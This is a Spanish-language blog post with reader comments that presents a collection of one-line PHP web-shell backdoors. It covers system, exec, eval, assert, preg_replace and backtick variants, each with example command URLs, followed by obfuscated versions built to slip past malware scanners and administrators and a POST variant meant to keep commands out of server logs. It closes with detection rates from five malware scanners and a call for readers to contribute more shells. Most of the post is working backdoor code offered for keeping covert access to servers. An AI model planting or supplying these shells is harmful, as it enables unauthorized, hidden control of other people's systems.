Backdoors y más backdoors en php

Seguro que ya habrán visto algunas funciones PHP que ejecutan comandos como si estuvieran en una shell y con las cuales podemos hacer un backdoor y mantener el acceso en un servidor.  

Hoy además les quiero mostrar algunos códigos ingeniosos para llegar a ello y así pasar desapercibido ante un scanner o hasta ante el mismísimo administrador Web.

Para comenzar les voy a listar los más conocidos y detectados a simple vista:

system.php

<?@system($_GET[_]);?>
uso: ww2.pwnakil.com/PoC/shell/system.php?_=ls -a

shell_exec.php

<?=@shell_exec($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/shell_exec.php?_=ls -a

exec.php

<?=@exec($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/exec.php?_=ls -a

eval.php

<?@eval($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/eval.php?_=phpinfo();
uso: ww2.pwnakil.com/PoC/shell/eval.php?_=system('ls -a');
uso: ww2.pwnakil.com/PoC/shell/eval.php?_=echo shell_exec('ls -a');

passthru.php

<?@passthru($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/passthru.php?_=ls -a

proc_open.php

<?@$_=proc_open($_GET[_],array(array("pipe","r"),array("pipe","w")),$pipes);echo stream_get_contents($pipes[1])?>
uso: ww2.pwnakil.com/PoC/shell/proc_open.php?_=ls -a

popen.php

<?=@fread(popen($_GET[s], 'r'),$_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/popen.php?s=ls -a&_=100
uso: ww2.pwnakil.com/PoC/shell/popen.php?s=ls -la&_=1050

pcntl_exec.php

<?pcntl_exec('/bin/bash',array('-c',$_GET[_]));?>
uso: ww2.pwnakil.com/PoC/shell/pcntl_exec.php?_=ls -a
requiere: necesita ser compilado con --enable-pcntl en el PHP

No conocidos pero detectados:

preg_replace.php

<?=@preg_replace('/.*/e',$_GET[_],null)?>
uso: ww2.pwnakil.com/PoC/shell/preg_replace.php?_=system('ls -a')
uso: ww2.pwnakil.com/PoC/shell/preg_replace.php?_=phpinfo()
uso: ww2.pwnakil.com/PoC/shell/preg_replace.php?_=shell_exec('ls -a')

backtick.php

<?=@`$_GET[_]`?>
uso: ww2.pwnakil.com/PoC/shell/backtick.php?_=ls -a

backtick2.php

<?=@`$x`?>
uso: ww2.pwnakil.com/PoC/shell/backtick2.php?x=ls -a
requiere: necesita estar habilitado el Register_Globals en PHP

No conocidos ni detectados:


call_func.php

<?=@call_user_func_array($_GET[s], array($_GET[_]))?>
uso: ww2.pwnakil.com/PoC/shell/call_func.php?s=system&_=ls -a
uso: ww2.pwnakil.com/PoC/shell/call_func.php?s=phpinfo&_=-1

assert.php

<?@assert($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/assert.php?_=phpinfo()
uso: ww2.pwnakil.com/PoC/shell/assert.php?_=system('ls -a')
uso: ww2.pwnakil.com/PoC/shell/assert.php?_=passthru('ls -a')
uso: ww2.pwnakil.com/PoC/shell/assert.php?_=print shell_exec('ls -a');


Aquí quiero hacer un paréntesis, ya que los códigos que vienen mas adelante son casi similares. Miren el siguiente:

<?php
     $z='phpinfo';
     $z();
?>
  si ustedes ejecutan ese código obtendran un lindo:
<?php phpinfo()?>



Lo que quiero demostrar entonces es que podemos tomar una cadena y ejecutar como si fuera una función en PHP. Sigamos:

smallshell.php

<?=@$x($z);
uso: ww2.pwnakil.com/PoC/shell/smallshell.php?x=phpinfo&z=-1
uso: ww2.pwnakil.com/PoC/shell/smallshell.php?x=system&z=ls -a
requiere: necesita estar habilitado el Register_Globals en PHP

minishell.php

<?=@$_GET[s]($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/minishell.php?s=phpinfo&_=-1
uso: ww2.pwnakil.com/PoC/shell/minishell.php?s=system&_=ls -a
uso: ww2.pwnakil.com/PoC/shell/minishell.php?s=shell_exec&_=ls -a

Algunas shell ingeniosas y por supuesto no detectadas:

ingenioushell.php

<?$x=str_replace('x', 's', 'xyxtem');@$x($_GET[_])?>
uso: ww2.pwnakil.com/PoC/shell/ingenioushell.php?_=ls -a

ingenioushell2.php

<?$x='syste'.chr(109);@$x($_GET[_]);
uso: ww2.pwnakil.com/PoC/shell/ingenioushell2.php?_=ls -a

ingenioushell3.php

<?$x=strrev("cexe_llehs");echo @$x($_GET[_]);
uso: ww2.pwnakil.com/PoC/shell/ingenioushell3.php?_=ls -a

Ahí están casi todas las que se me ocurrieron (las demás eran similares a las que están ahí, agregándole algunas variables, lo cual haría mas grande el código). Para que funcionen, todas necesitan que el Short_Open_Tag esté habilitado. Por defecto el PHP lo tiene habilitado, y si fuera el caso contrario solo tendrían que agregar el tag de php:
<?php
    ...code...;
?>

También la idea es tener los códigos mas pequeños que te puedan garantizar el acceso al servidor. Por ello en algunos códigos falta cerrar los tag de php, dado que no es necesario porque con el punto y coma (;) indica la finalización del código.

Y por si no quieren aparecer en los logs del servidor ya que los parámetros son enviados por el método GET, podríamos cambiarlos por POST. Un ejemplo de ello sería:

minishellpost.php
<?=@$_POST[s]($_POST[_])?>

Y la ejecución seria de esta forma: abrimos una pestaña en el navegador, luego abrimos el HackBar (F9) y hacemos lo que dice la imagen:
Índice de detecciones

Además, le he pasado algunos scanners especializados en buscar códigos maliciosos a los 19 archivos que he generado con los códigos de arriba, y he agregado una Shell Web WSO encriptada en base64 llamada "pwnakil.php" con el motivo de saber si los scanners originan falsos positivos, y aquí están los resultados :

1.- Linux Malware Detect
     En el Scan no encontró ningún archivo sospechoso:

2.- Neopi
     Detectó 2 archivos entre ellos la shell web WSO:   

3.- Look For Bad Guys
     Detectó 7 archivos sospechosos entre ellos la shell web WSO:
    
4.- Php Shell Scanner
     Detectó 9 archivos sospechosos entre ellos la shell web WSO:
             
5.- Emposha Php Shell Detector
     Detectó 11 archivos Sospechosos entre ellos la shell web WSO:

Y eso es todo. Por último, si conocen otro pequeño código con el cual podríamos ejecutar comandos, no duden en comentarlo aquí para, entre todos, tener una gran colección de scripts.

3 comentarios:

  1. hola, se ve todo muy interesante y, aunque programo hace 1 año y fracción en PHP, no logro entender el fin de esta publicación, supera mis conocimientos, saludos.

    ResponderEliminar
  2. No entiendes porque aun no despiertas, sacate la venda de los ojos brother, explora, investiga.

    ResponderEliminar
  3. complementar esto con un fix a estos problemas, seria magnifico, por su puestos nunca hagan esto amigos programadores, y si necesitan hacer esto limpien siempre los datos

    ResponderEliminar